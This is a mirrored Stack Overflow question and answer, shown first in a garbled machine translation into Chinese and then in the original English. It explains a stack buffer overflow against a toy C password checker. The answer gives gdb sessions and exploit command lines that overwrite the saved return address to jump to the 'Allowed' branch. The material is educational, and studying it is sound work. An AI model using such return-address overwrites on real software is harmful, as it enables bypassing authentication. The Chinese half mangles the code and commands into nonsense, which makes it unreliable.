尝试缓冲区溢出 [英] Attempting a buffer overflow
问题描述
我试图使用缓冲溢出来改变堆栈具有以下code上的结果来改变函数的结果:
的#include<&stdio.h中GT;
#包括LT&;&string.h中GT;
#包括LT&;&stdlib.h中GT;
INT check_auth1(字符*密码)
{
炭password_buffer [8];
INT auth_flag = 0;
的strcpy(password_buffer,密码);
如果(STRCMP(password_buffer,杯具)== 0){
auth_flag = 1;
}
返回auth_flag;
}
INT主(INT ARGC,字符** argv的)
{
如果(的argc 2){
的printf(用法:%S<密码和GT; \\ N的argv [0]);
出口(0);
}
诠释认证= check_auth1(的argv [1]);
如果(认证!= 1){
的printf(不允许\\ n);
}其他{
的printf(允许\\ n);
}
返回0;
}
我用gdb来分析堆栈,这是我有:
0xbffff6d0:0xbffff8e4 0x0000002f去0xbffff72c 0xb7fd0ff4
0xbffff6e0:0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0:00000000 00000000 0xbffff728 0x0804850f
0xbffff700:0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710:0xb7fed280 00000000 0x08048549 0xb7fd0ff4
0xbffff720:0x08048540 00000000 00000000 0xb7e444d3
0xbffff730:0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740:00000000 0xbffff71c 0xbffff7d0 00000000
[1] $ EBP 0xbffff6f8
[2] $尤0xbffff6d0
[3]密码0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce 1 + 0计算值:推%EBP
0x080484cf 1 + 1&GT ;: MOV%ESP,EBP%
0x080484d1 1 + 3计算值:和$ 0xfffffff0,%尤
0x080484d4 1 + 6个;:子$为0x20,%尤
0x080484d7 1 + 9基;: CMPL $ 0x1,0x8(%EBP)
0x080484db 1 + 13计算值:JG 0x80484ff<主+ 49>
0x080484dd 1 + 15计算值:MOV位于0xC(EBP%),%EAX
0x080484e0 1 + 18计算值:MOV(%eax中),%EDX
0x080484e2 1 + 20计算值:MOV $ 0x8048614,%eax中
0x080484e7 1 + 25计算值:MOV%EDX,为0x4(%尤)
0x080484eb 1 + 29计算值:MOV EAX%(%ESP)
0x080484ee 1 + 32计算值:调用0x8048360< printf的PLT @>
0x080484f3 1 + 37计算值:MOVL $为0x0,(%尤)
0x080484fa 1 + 44计算值:调用0x80483a0<退出@ PLT>
0x080484ff 1 + 49计算值:MOV位于0xC(EBP%),%EAX
0x08048502 1 + 52计算值:加$为0x4,%eax中
0x08048505 1 + 55计算值:MOV(%EAX),EAX%
0x08048507 1 + 57计算值:MOV%eax中,(%尤)
----------
重要的东西STARTS NOW
0x0804850a 1 + 60计算值:调用0x8048474&所述; check_auth1>
0x0804850f 1 + 65计算值:MOV EAX%,为0x1C(%ESP)
0x08048513 1 + 69计算值:CMPL $ 0x1,0x1c(%尤)
0x08048518 1 + 74计算值:JE 0x8048528<主+ 90 GT;
我决定除了$ EBP是如何远离和放大器; password_buffer:0xbffff6f8 - 0xbffff6e4 = 14字节
因此,与14'A'输入,即 ./ stackoverflowtest $(perl的-e打印A×14)
应该带我去允许
我在哪里去了?什么是所需的输入引起溢出?
ASLR和gcc金丝雀被关闭。
check_auth1装配转储:
汇编code的功能check_auth1的转储:
0x08048474 1 + 0计算值:推%EBP
0x08048475 1 + 1&GT ;: MOV%ESP,EBP%
0x08048477 1 + 3计算值:推%EDI
0x08048478 1 + 4计算值:推%ESI
0x08048479 1 + 5计算值:子$为0x20,%尤
= GT; 0x0804847c 1 + 8计算值:MOVL $为0x0,-0xc(%EBP)
0x08048483 1 + 15计算值:MOV,位于0x8(%EBP),EAX%
0x08048486 1 + 18计算值:MOV%eax中,为0x4(%尤)
0x0804848a 1 + 22:LEA -0x14(EBP%),%EAX
0x0804848d 1 + 25计算值:MOV%eax中,(%尤)
0x08048490 1 + 28计算值:调用0x8048370< strcpy的@ PLT>
0x08048495 1 + 33计算值:LEA -0x14(EBP%),%EAX
0x08048498 1 + 36计算值:MOV%eax中,%EDX
0x0804849a 1 + 38计算值:MOV $ 0x8048610,EAX%
0x0804849f 1 + 43计算值:MOV $为0x4,%ecx中
0x080484a4 1 + 48计算值:MOV%EDX,%ESI
0x080484a6 1 + 50计算值:MOV%eax中,%EDI
0x080484a8 1 + 52计算值:REPZ CMPSB%ES:(%EDI),%DS:(%ESI)
0x080484aa 1 + 54计算值:刚毛%dl的
0x080484ad 1 + 57计算值:SETB%人
0x080484b0 1 + 60计算值:MOV%EDX,%ecx中
0x080484b2 1 + 62计算值:子%人,%CL
0x080484b4 1 + 64计算值:MOV%ecx中,%eax中
0x080484b6 1 + 66计算值:movsbl%人,%eax中
0x080484b9 1 + 69计算值:测试%EAX,EAX%
0x080484bb 1 + 71计算值:JNE 0x80484c4&下; check_auth1 + 80>
0x080484bd 1 + 73计算值:MOVL $为0x1,-0xc(EBP%)
0x080484c4 1 + 80计算值:MOV -0xc(%EBP),%eax中
0x080484c7 1 + 83计算值:加$为0x20,ESP%
0x080484ca 1 + 86计算值:流行%ESI
0x080484cb 1 + 87计算值:弹出%EDI
0x080484cc 1 + 88计算值:流行的%ebp
0x080484cd 1 + 89计算值:保留
这是很容易被利用,这里穿行的方式。
先用 -g
编译它,它可以更容易了解你在做什么。然后,我们的目标将是改写保存 EIP
check_auth1的(),并将其移动到的其它部分测试在
的main()
功能。
$> GCC -m32 -g -o vuln vuln.c
$> GDB ./vuln
...
(GDB)破check_auth1
断点1日0x80484c3:文件vulne.c,9号线。
(GDB)运行`蟒蛇-c'打印(A* 28)'`
启动程序:./vulne`蟒蛇-c'打印(A* 28)'`
9:断点1,在check_auth1 vuln.c(密码= 0xffffd55d'A'<重复28次&GT)
9 INT auth_flag = 0;
(GDB)信息框
堆栈0级,在框架0xffffd2f0:
EIP = 0x80484c3在check_auth1(vuln.c:9);保存EIP 0x804853f
一帧在0xffffd320称为
源C语言。
ARGLIST在0xffffd2e8,ARGS:密码= 0xffffd55d'A'<重复28次>
在0xffffd2e8当地人,previous帧的SP是0xffffd2f0
保存的寄存器:
EBP在0xffffd2e8,在0xffffd2ec EIP
我们停在 check_auth1()
并显示堆栈帧。我们看到,在保存 EIP
被存储在堆栈中的 0xffffd2ec
并包含 0x804853f
。
让看到它做什么导致:
(GDB)拆卸主
汇编code的转储为主要功能:
0x080484ff 1 + 0计算值:推%EBP
0x08048500 1 + 1&GT ;: MOV%ESP,EBP%
0x08048502 1 + 3计算值:和$ 0xfffffff0,%尤
0x08048505 1 + 6个;:子$为0x20,%尤
0x08048508 1 + 9基;: CMPL $ 0x1,0x8(%EBP)
0x0804850c 1 + 13计算值:JG 0x804852f<主+ 48>
0x0804850e 1 + 15计算值:MOV位于0xC(EBP%),%EAX
0x08048511 1 + 18计算值:MOV(%EAX),EAX%
0x08048513 1 + 20计算值:MOV%eax中,为0x4(%尤)
0x08048517 1 + 24计算值:MOVL $ 0x8048604,(%尤)
0x0804851e 1 + 31计算值:调用0x8048360< printf的PLT @>
0x08048523 1 + 36计算值:MOVL $为0x0,(%尤)
0x0804852a 1 + 43计算值:调用0x80483a0&下;出口@ PLT>
0x0804852f 1 + 48计算值:MOV位于0xC(EBP%),%EAX
0x08048532 1 + 51计算值:加$为0x4,%eax中
0x08048535 1 + 54计算值:MOV(%EAX),EAX%
0x08048537 1 + 56计算值:MOV%eax中,(%尤)
0x0804853a 1 + 59计算值:调用0x80484bd&所述; check_auth1>
0x0804853f 1 + 64计算值:MOV EAX%,为0x1C(ESP%)LT; - 我们返回时,在这里跳
0x08048543 1 + 68 ;: CMPL $ 0x1,0x1c(%尤)
0x08048548 1 + 73计算值:JE 0x8048558<主+ 89>
0x0804854a 1 + 75计算值:MOVL $ 0x804861a,(%尤)
0x08048551 1 + 82计算值:调用0x8048380&下;把@ PLT>
0x08048556 1 + 87计算值:JMP 0x8048564<主+ 101>
0x08048558 1 + 89计算值:MOVL $ 0x8048627,(ESP%)LT; - 我们要在这里跳
0x0804855f 1 + 96计算值:调用0x8048380&下;把@ PLT>
0x08048564 1 + 101计算值:MOV $为0x0,%eax中
0x08048569 1 + 106计算值:离开
0x0804856a 1 + 107计算值:保留
汇编转储结束。
但事实是,我们要避免去通过 CMPL $ 0x1,0x1c(%ESP)
键,直接进入测试的其他部分。这意味着我们要跳转到 0x08048558
。
不管怎样,让我们先试试,看看我们的28' A
足以改写保存 EIP
。
(GDB)旁
10的strcpy(password_buffer,密码);
(GDB)旁
11,如果(STRCMP(password_buffer,杯具)== 0){
在这里,的strcpy
没有溢出,所以让我们看看堆栈帧:
(GDB)信息框
堆栈0级,在框架0xffffd2f0:
EIP = 0x80484dc在check_auth1(vulnerable.c:11);保存EIP 0x41414141
一帧在0xffffd2f4称为
源C语言。
ARGLIST在0xffffd2e8,ARGS:密码= 0xffffd55d'A'<重复28次>
在0xffffd2e8当地人,previous帧的SP是0xffffd2f0
保存的寄存器:
EBP在0xffffd2e8,在0xffffd2ec EIP
事实上,我们改写了与保存的EIP A
(×41
是十六进制code代表 A
)。而且,事实上,28正是我们所需要的,而不是更多。如果我们取代的目标地址的最后四字节一切都会好的。
一件事是,你需要重新排列字节采取小字节序考虑在内。因此, 0x08048558
将成为 \\ X58 \\ X85 \\ X04 \\ X08
。
最后,您还需要编写一些有意义的地址保存 EBP
值(未 AAAA
),所以我的诀窍只是像这样的最后地址翻番:
$> ./vuln`蟒蛇-c'打印(A* 20 +\\ X58 \\ X85 \\ X04 \\ X08 \\ X58 \\ X85 \\ X04 \\ X08)''
请注意,没有必要禁用ASLR,因为你是在的.text
部分跳(这部分做ASLR在任何移动)。但是,你一定要禁用金丝雀。
修改:我错了有关更换保存 EBP
我们保存 EIP
。事实上,如果你不给正确的 EBP
你会尝试从退出主
,当命中段错误。这是因为,我们没有设置保存 EBP
来某处的.text
部分,然后,即使没有从 check_auth1
返回时的问题,栈帧将被不适当地在主
函数返回时恢复(系统会相信堆栈位于code)。其结果将是4个字节由指着上面的地址保存 EBP
我们写了(和指向指令)将被误认为与保存的 EIP
主
。所以,要么你禁用ASLR和写的正确地址保存 EBP
( 0xffffd330
),这将导致
$> ./vuln`蟒蛇-c'打印(A* 20 +\\ XFF \\ XFF \\ XD3 \\ X30 \\ X58 \\ X85 \\ X04 \\ X08)''
或者,您需要执行,将执行全新退出一个ROP(0)
(这通常是很容易实现)。
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf@plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit@plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14')
it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy@plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g
, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip
of check_auth1()
and move it to the else-part of the test in the main()
function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1()
and displayed the stack frame. We saw that the saved eip
is stored in the stack at 0xffffd2ec
and contains 0x804853f
.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf@plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit@plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts@plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts@plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp)
and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558
.
Anyway, lets first try to see if our 28 'A
' are enough to rewrite the saved eip
.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy
did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A
' (0x41
is the hexadecimal code for A
). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558
will become \x58\x85\x04\x08
.
Finally, you will also need to write some meaningful address for the saved ebp
value (not AAAA
), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text
section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp
by our saved eip
. In fact, if you do not give the right ebp
you will hit a segfault when attempting to exit from main
. This is because, we did set the saved ebp
to somewhere in the .text
section and, even if there is no problem when returning from check_auth1
, the stack frame will be restored improperly when returning in the main
function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp
we wrote (and pointing to the instructions) will be mistaken with the saved eip
of main
. So, either you disable the ASLR and write the correct address of the saved ebp
(0xffffd330
) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0)
(which is usually quite easy to achieve).
这篇关于尝试缓冲区溢出的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!